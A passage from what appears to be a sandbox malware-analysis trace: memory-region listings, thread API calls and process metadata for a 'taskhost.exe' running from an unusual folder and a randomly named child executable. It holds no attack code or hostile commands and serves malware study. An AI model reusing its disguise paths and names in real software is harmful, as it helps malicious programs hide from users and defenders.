"c:\\windows\\system32\\usp10.dll") Region: id = 8178 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8179 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 8180 start_va = 0x690000 end_va = 0x817fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 8181 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8182 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8183 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8184 start_va = 0x820000 end_va = 0x9a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 8185 start_va = 0xc40000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c40000" filename = "" Region: id = 8186 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8187 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 8188 start_va = 0x9b0000 end_va = 0xa7ffff monitored = 1 entry_point = 0xa7d67e region_type = mapped_file name = "taskhost.exe" filename = "\\Program Files\\Reference Assemblies\\taskhost.exe" (normalized: "c:\\program files\\reference assemblies\\taskhost.exe") Region: id = 8218 start_va = 0x9b0000 end_va = 0xa7ffff monitored = 1 entry_point = 0xa7d67e region_type = mapped_file name = "taskhost.exe" filename = "\\Program Files\\Reference Assemblies\\taskhost.exe" (normalized: "c:\\program files\\reference assemblies\\taskhost.exe") Region: id = 8228 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8248 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8258 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8408 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8409 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8410 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8411 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8419 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8420 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 8421 start_va = 0x7fe949e0000 end_va = 0x7fe949effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949e0000" filename = "" Region: id = 8422 start_va = 0x7fe949f0000 end_va = 0x7fe949fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8423 start_va = 0x7fe94a00000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8424 start_va = 0x7fe94a90000 end_va = 0x7fe94afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 8425 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 8426 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 8427 start_va = 0x2040000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 8428 start_va = 0x9b0000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 8429 start_va = 0x2070000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 8430 start_va = 0x2200000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 8431 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8432 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8433 start_va = 0x2280000 end_va = 0x1a27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 8448 start_va = 0x1a280000 end_va = 0x1a5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a280000" filename = "" Region: id = 8449 start_va = 0x1a600000 end_va = 0x1a700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a600000" filename = "" Region: id = 8450 start_va = 0x1a820000 end_va = 0x1a91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a820000" filename = "" Region: id = 8451 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8458 start_va = 0x9b0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 8459 start_va = 0xab0000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 8460 start_va = 0x1a9d0000 end_va = 0x1aacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9d0000" filename = "" Region: id = 8461 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8631 start_va = 0x1aad0000 end_va = 0x1ad9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8668 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8753 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8754 start_va = 0x4e0000 end_va = 0x55cfff monitored = 0 entry_point = 0x4ecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8755 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 8764 start_va = 0x4e0000 end_va = 0x55cfff monitored = 0 entry_point = 0x4ecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8765 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8766 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8767 start_va = 0x1ada0000 end_va = 0x1aebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 8768 start_va = 0x1a710000 end_va = 0x1a7eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001a710000" filename = "" Region: id = 8793 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8794 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8829 start_va = 0x7fe94b00000 end_va = 0x7fe94b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b00000" filename = "" Region: id = 8844 start_va = 0x7fe94b80000 end_va = 0x7fe94b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b80000" filename = "" Region: id = 8845 start_va = 0x7fe94b90000 end_va = 0x7fe94b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b90000" filename = "" Region: id = 8873 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8898 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8899 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8946 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8947 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8948 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8949 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8990 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8991 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9005 start_va = 0x1aec0000 end_va = 0x1afeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 9028 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9070 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9071 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9072 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 9105 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9106 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9121 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9136 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9147 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9167 start_va = 0x370000 end_va = 0x3d1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9208 start_va = 0x530000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 9209 start_va = 0x1b090000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b090000" filename = "" Region: id = 9210 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9211 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 9284 start_va = 0x1b1d0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1d0000" filename = "" Region: id = 9285 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9286 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9287 start_va = 0x4e0000 end_va = 0x524fff monitored = 0 entry_point = 0x4e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9288 start_va = 0x4e0000 end_va = 0x524fff monitored = 0 entry_point = 0x4e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9289 start_va = 0x4e0000 end_va = 0x524fff monitored = 0 entry_point = 0x4e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9290 start_va = 0x4e0000 end_va = 0x524fff monitored = 0 entry_point = 0x4e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9291 start_va = 0x4e0000 end_va = 0x524fff monitored = 0 entry_point = 0x4e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9371 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9372 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9412 start_va = 0x1b2d0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 9413 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9453 start_va = 0x1b3f0000 end_va = 0x1b4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 9454 start_va = 0x1b610000 end_va = 0x1b70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b610000" filename = "" Region: id = 9455 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9456 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9472 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9514 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9531 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9547 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9561 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9576 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9648 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9649 start_va = 0x1b710000 end_va = 0x1b9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9731 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9732 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Thread: id = 369 os_tid = 0x578 [0263.680] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.135] EtwEventRegister (in: ProviderId=0x2285870, EnableCallback=0x1af7135c, CallbackContext=0x0, RegHandle=0x2285850 | out: RegHandle=0x2285850) returned 0x0 [0277.163] EtwEventRegister (in: ProviderId=0x2289ff8, EnableCallback=0x1af713ac, CallbackContext=0x0, RegHandle=0x2289fd8 | out: RegHandle=0x2289fd8) returned 0x0 [0278.852] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x423f60*=0xd8, lpdwindex=0x26e484 | out: lpdwindex=0x26e484) returned 0x0 [0280.566] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x423f60*=0xd8, lpdwindex=0x26e484) Thread: id = 444 os_tid = 0x7a8 Thread: id = 445 os_tid = 0x328 [0263.800] CoGetContextToken (in: pToken=0x1a91f560 | out: pToken=0x1a91f560) returned 0x800401f0 [0263.800] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 448 os_tid = 0x808 Thread: id = 490 os_tid = 0x8b8 [0278.279] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.280] CoGetContextToken (in: pToken=0x1b18f7f0 | out: pToken=0x1b18f7f0) returned 0x0 [0278.280] CObjectContext::QueryInterface () returned 0x0 [0278.280] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.281] Release () returned 0x0 [0278.281] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.281] CoUninitialize () [0288.689] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b18dc18 | out: phkResult=0x1b18dc18*=0x0) returned 0x2 [0288.690] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.697] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\taskhost.exe", nBufferLength=0x105, lpBuffer=0x1b18e750, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\taskhost.exe", lpFilePart=0x0) returned 0x32 Thread: id = 491 os_tid = 0x8bc Thread: id = 509 os_tid = 0x908 Thread: id = 534 os_tid = 0x97c Thread: id = 535 os_tid = 0x980 Thread: id = 555 os_tid = 0x9d0 [0281.020] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0281.021] CoGetContextToken (in: pToken=0x1b70fab0 | out: pToken=0x1b70fab0) returned 0x0 [0281.021] CObjectContext::QueryInterface () returned 0x0 [0281.021] CObjectContext::GetCurrentThreadType () returned 0x0 [0281.021] Release () returned 0x0 [0281.021] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0281.021] CoUninitialize () Process: id = "83" image_name = "yardadultbehind.exe" filename = "c:\\program files\\windows nt\\accessories\\en-us\\yardadultbehind.exe" page_root = "0x221a3000" os_pid = "0x57c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "\"C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7413 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7414 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7415 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 7416 start_va = 0x3c0000 end_va = 0x495fff monitored = 1 entry_point = 0x48d67e region_type = mapped_file name = "yardadultbehind.exe" filename = "\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\yardadultbehind.exe") Region: id = 7417 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7418 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7419 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7420 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7421 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7422 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 7423 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 7424 start_va = 0x150000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 7425 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7426 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7427 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7440 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7441 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7442 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7454 start_va = 0x150000 end_va = 0x1b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7455 start_va = 0x1f0000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 7456 start_va = 0x270000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 7457 start_va = 0x270000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 7458 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 7636 start_va = 0x4a0000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 7688 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = 